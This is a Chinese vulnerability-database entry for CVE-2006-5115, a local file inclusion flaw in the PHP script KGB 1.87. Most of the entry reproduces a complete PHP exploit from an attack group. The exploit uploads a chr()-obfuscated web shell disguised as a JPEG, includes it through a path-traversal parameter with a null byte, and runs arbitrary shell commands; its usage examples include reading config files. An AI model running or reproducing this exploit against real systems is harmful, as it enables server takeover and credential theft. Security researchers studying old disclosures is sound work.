KGB 'Kgcall.php'目录遍历漏洞

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漏洞ID 1111165 漏洞类型 路径遍历
发布时间 2006-09-28 更新时间 2006-10-19
CVE编号 CVE-2006-5115 CNNVD-ID CNNVD-200610-016
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2447
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-016
|漏洞详情
KGB1.87的kgcall.php中存在目录遍历漏洞。远程攻击者通过engine参数(该参数中包含..)包含和执行任意本地文件,如通过上传包含具有image/jpeg内容类型PHP代码的文件,然后通过engine参数引用此文件所示。
|漏洞EXP
#!/usr/bin/php -q -d short_open_tag=on

<?
$devilteam = "

:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- KGB 1.8+ <= 1.8 full (Local Inclusion) Remote Code Execution Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: KGB 1.8+ 1.8 full
- [Script site: http://www.kgb.xs.com.pl/
- [Download script: http://skrypty.webpc.pl/pobierz205.html

+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";


/*
Szybka instrukcja jak exploit dziala :)

skrypt KGB 1.8+ jest podatny na local inclusion, poniewaz, 
znajdujemy w pliku uploadzdj.php dzieki ktoremu mozemy uploadowac jakis obrazek, o wielkosci nie wiekszej niz 90kb,

natomiast w pliku kgcall.php znajdziemy kod:
...
<?
include("kgengine/".$engine);
?>
...


Czyli po uploadowaniu nowego avatara/obrazka (ktorym jest nasz skrypt) o nazwie devilteam.jpg

mozemy uzyc local include:

http://www.kgbskrypt/folder_z_kgb/kgcall.php?engine=../zdjecia/devilteam.jpg?cmd=ls -la
No i mamy go! :)

Pozdrawiam Kacper

Jesli masz jakiekolwiek pytania to zapraszam na kanal IRC: 72.20.18.6:6667 #devilteam

*/



print $devilteam;
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd options\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to KGB\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /lists/ cat ./config/config.php\r\n";
echo "php ".$argv[0]." localhost /lists/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


$shell=
chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70).
chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).
chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).
chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).
chr(0x6f).chr(0x22).chr(0x44).chr(0x45).chr(0x56).
chr(0x49).chr(0x4c).chr(0x20).chr(0x54).chr(0x45).
chr(0x41).chr(0x4d).chr(0x20).chr(0x68).chr(0x34).
chr(0x63).chr(0x6b).chr(0x20).chr(0x79).chr(0x30).
chr(0x75).chr(0x22).chr(0x3b).chr(0x69).chr(0x6e).
chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).
chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).
chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).
chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).
chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).
chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).
chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x24).
chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).
chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).
chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).
chr(0x65).chr(0x3b).chr(0x3f).chr(0x3e);
srand(make_seed());
$evil="devilteam.jpg";
$data='
    -----------------------------ZGV2aWx0ZWFt--
    Content-Disposition: form-data; name="plik"; filename=".$evil."
	Content-Type: image/jpeg\r\n\r\n";
    '.$shell.'
    -----------------------------ZGV2aWx0ZWFt--
    Content-Disposition: form-data; name="";
    
    Wyslij zdjecie
    -----------------------------ZGV2aWx0ZWFt--
    ';
    $packet ="POST ".$p."kgcall.php?engine=uploadzdj.php HTTP/1.1\r\n";
    $packet.="User-Agent: Googlebot/2.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Accept: text/plain\r\n";
    $packet.="Referer: http://".$host.$path."kgcall.php?engine=uploadzdj.php\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=-----------------------------ZGV2aWx0ZWFt--\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.=$data;
	$packet.="Connection: Close\r\n";
    show($packet);
    sendpacketii($packet);
	
$packet ="GET ".$p."kgcall.php?engine=../zdjecia/devilteam.jpg&cmd=".$cmd."%00" HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
 $temp=explode("56789",$html);
 echo $temp[1];
 echo "\r\nExploit work :)\r\n";
 echo "\r\nDEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
 echo "\r\nWe are The best Polish Hackers :)\r\n";
 die;
}
}
?>

# milw0rm.com [2006-09-28]
|参考资料

来源:XF
名称:kgb-kgcall-file-include(29235)
链接:http://xforce.iss.net/xforce/xfdb/29235
来源:BID
名称:20258
链接:http://www.securityfocus.com/bid/20258
来源:MILW0RM
名称:2447
链接:http://www.milw0rm.com/exploits/2447
来源:VUPEN
名称:ADV-2006-3844
链接:http://www.frsirt.com/english/advisories/2006/3844
来源:SECUNIA
名称:22152
链接:http://secunia.com/advisories/22152
来源:MILW0RM
名称:2447
链接:http://milw0rm.com/exploits/2447